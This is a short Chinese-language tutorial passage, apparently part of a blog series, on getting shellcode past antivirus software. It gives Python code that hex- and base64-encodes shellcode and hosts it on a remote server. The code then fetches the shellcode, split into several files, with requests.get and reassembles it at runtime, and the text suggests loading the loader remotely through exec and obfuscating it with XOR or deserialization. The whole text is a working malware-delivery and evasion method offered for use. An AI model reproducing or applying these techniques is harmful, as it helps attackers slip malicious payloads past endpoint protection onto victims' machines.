首先将我们的shellcode编码放到服务器上:

import base64
a = 'shellcode'
b = a.encode('hex')
c = base64.b64encode(b)
print(c)

这样我们就把shellcode进行了hex再base64,然后我们再访问服务器上的这段代码。

scode = requests.get("http://x.x.x.x/shellcode.txt")
shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))

如果可以访问的就说明没问题了。 但是这里访问的shellcode会不会被检测为恶意代码呢,毕竟只是hex+base64,前面有篇文章使用的base64+rc4加密,已经有部分杀软能检测了,那么我们再想一下其他的操作不被杀软检测。 我们可以将shellcode分为几段代码,然后请求下来以后再进行拼接,杀软目前应该不会进行代码拼接再检测。 我们可以把一开始处理好的shellcode分为几段分别保存为shellcode1.txt、shellcode2.txt,然后全部放到服务器上。 这样我们去加载请求这两个文件,再进行内容拼接。

scode1 = requests.get("http://x.x.x.x/shellcode1.txt")
scode2 = requests.get("http://x.x.x.x/shellcode2.txt")
shellcode = bytearray(base64.b64decode(scode1.text+scode2.text).decode('hex'))

或者再多分为几段都行。逆向加载就行了 或者用加密方式加密,再进行分段,请求后再拼接解密。 这里同样的可以把loader放在服务器上,使用相同的方法加载然后用exec去执行。 loader如果会被特征查杀的话,就可以参考前面的文章-绕过杀软的思路,将loader进行反序列化,异或等等能混淆杀软的方式都可以。